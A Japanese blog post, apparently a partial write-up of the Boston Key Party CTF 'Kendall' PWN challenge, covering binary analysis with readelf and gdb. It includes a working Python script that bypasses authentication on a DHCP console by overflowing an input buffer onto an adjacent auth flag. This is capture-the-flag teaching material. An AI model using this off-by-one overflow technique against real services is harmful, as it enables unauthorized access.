BKPCTFを触りだけやってきた

先週の土日に Boston key party CTF に少しだけ参加した。
いつもReverseばっかり見てるけど、そろそろPWNもできるようにならねば…と思い立ったのでPWN問題に取り組んでみた。
今回は参加したというほどガッツリやっていないけど、初のx86-64解析デビューということもあるので(そして初のボッチCTFということもあり)記念に Kendallの問題(PWN 300. 途中まで)を書くことにする。

問題サーバに接続

問題サーバに接続するよう問題文が書いてあり、x86-64で動作するELFファイルが与えられる。
実行してみると、DHCP Management Console なるものが表示される。

[rintaro@rintaro_PC] $ nc 52.0.164.37 8888
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]# 

DHCPのログ参照やステータス参照をできるようだ。
ただし、変更や反映は認証済みの状態でないとできないようだ。
無論パスワードはわからない。

[m]# a
Password: hoge
Authentication failed!
[m]# 

バイナリを見てみる

一通り遊んだところでx86-64バイナリを眺めてみる。

[root@madone] # readelf -r kendall.a125e431e553c7ec2d9845c90c0f4ed1

Relocation section '.rela.dyn' at offset 0x7d0 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000602658  001300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000602840  002300000005 R_X86_64_COPY     0000000000602840 stdout + 0
000000602850  002400000005 R_X86_64_COPY     0000000000602850 stdin + 0
000000602858  002500000005 R_X86_64_COPY     0000000000602858 optarg + 0

Relocation section '.rela.plt' at offset 0x830 contains 34 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000602678  000100000007 R_X86_64_JUMP_SLO 0000000000000000 strncpy + 0

(snip)

000000602718  001500000007 R_X86_64_JUMP_SLO 0000000000000000 listen + 0
000000602720  001600000007 R_X86_64_JUMP_SLO 0000000000000000 bind + 0
000000602728  001700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0
000000602730  001800000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0
000000602738  001900000007 R_X86_64_JUMP_SLO 0000000000000000 getopt + 0
000000602740  001a00000007 R_X86_64_JUMP_SLO 0000000000000000 accept + 0
000000602748  001b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit + 0
000000602750  001c00000007 R_X86_64_JUMP_SLO 0000000000000000 fwrite + 0
000000602758  001d00000007 R_X86_64_JUMP_SLO 0000000000000000 getaddrinfo + 0
000000602760  001e00000007 R_X86_64_JUMP_SLO 0000000000000000 fork + 0

(snip)

Network部分まで実装してある模様。forkだしメモリがリークできれば普通にいけんじゃね、とか思いつつ読んでいく。
vmmapを見てみると.pltの領域に実行フラグが立っていて、open, read, writeやsystem関数が存在したため最初はこれらを奪う問題かと思っていたが、読み進めると認証部分をどうにかできそうなことがわかる。

読み進めていくと、認証済みかどうかを見るためのflagが.bss領域の"0x602900"に存在し、そこを見て認証状態を確かめている。
初期値で1がセットされ、0ならば認証済み、それ以外ならば未認証という具合だ。
f:id:f_rin:20150303011011p:plain

そして認証flagに隣接する領域(0x80Byte手前)に入力文字列が入る領域があることが分かった。

gdb-peda$ x/50i $rip
=> 0x4014fe:	mov    QWORD PTR [rbp-0x10],0x602900       # 認証flag
   0x401506:	mov    rax,QWORD PTR [rip+0x201333]

   (snip)

   0x4015a1:	lea    rax,[rbp-0x40]
   0x4015a5:	mov    esi,0x602880                        # 入力文字が入るところ
   0x4015aa:	mov    rdi,rax
   0x4015ad:	call   0x400c80 <strcmp@plt>

さらに、DHCPのログ検索機能の中で文字入力のMax Length=0x80 として入力を受け付ける箇所がある。
怪しいと思い入力受付機能を見ると、最後の改行文字またはMax Length+1文字目を文字列の終端(Null Byte)に置き換える処理を施している。つまり、この機能を呼び出して80文字以上を入力すると認証flagの領域をNull Byteで上書きでき、認証をバイパスできるということになる。

認証バイパス

ということで、認証flagを書き換える。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket, re, telnetlib

def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	print "switch to manual mode."
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

host = "52.0.164.37"
port = 8888

# bypass authentication
s, f = sock(host, port)
print read_until(f, "[m]# ")

f.write("d" + "\n")
print read_until(f, "[d]# ")

f.write("f" + "\n")
print read_until(f, "Enter filter condition: ")

f.write("a"*0x80 + "\n")
print read_until(f, "[d]$ ")

shell(s)

権限昇格でき、すべての機能を使うことができるようになった。

[rintaro@rintaro_PC] $ python bypass_auth.py
#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]#
[d]#
Enter filter condition:
[d]$
switch to manual mode.

m
[m]$ a
Password: aaaa
Authentication succesfull
[m]$

使えるようになった機能は以下。

  • start ip 変更
  • end ip 変更
  • netmask ip 変更
  • nameserver ip 変更(使えそう)
  • renew leases (なにやら"./renew_lease"とかいう怪しいプログラムを叩いている)

バイナリ解析では他にもBOFを使って制御を奪取できそうな箇所を探したけど、そんなところはなかったので、Name Serverを自身のサーバIPにして"./renew_lease"を叩いたら何か飛んでくるんじゃないかなーと思っていたが、今回ぼっちでやってて外部公開サーバも持ってないし、飲みにいく予定もあったためここで断念。

なんか認証バイパスしたら変に納得してしまった感があり、後はひたすら飲んでいた。

今回で良くわかったこと。

  • 特にSECCONとかで思ってたけど、外部公開サーバはやっぱりないとダメだ。やはりハニーポット立てるべきか…
  • ボッチCTFはイクナイ(・A・)。腰を据えてしっかりやれない。自分に必要なのは集中力と忍耐力だった。
  • 他の問題に目を配らなかったけど、1問くらいは簡単なやつでいいから解いておいたほうがいい。ちゃんとやってなくても後で振り返ると意外とダメージがある。

とはいえ久々にバイナリ読んで穴を探すっていう作業は楽しかった。
次はもっとじっくりとワイワイやりたい。

追記:
Balalaika Cr3wがWriteup出してたので見てみたら、ここまではアプローチとしては正しかったみたいだ。
httpsで待ってるとSuperfishでアクセスが来て、FLAGになってたみたいだ。
なんてタイムリーw さすがCTF界隈。

うん。これはマジで外向けのサーバ用意したほうがいいな…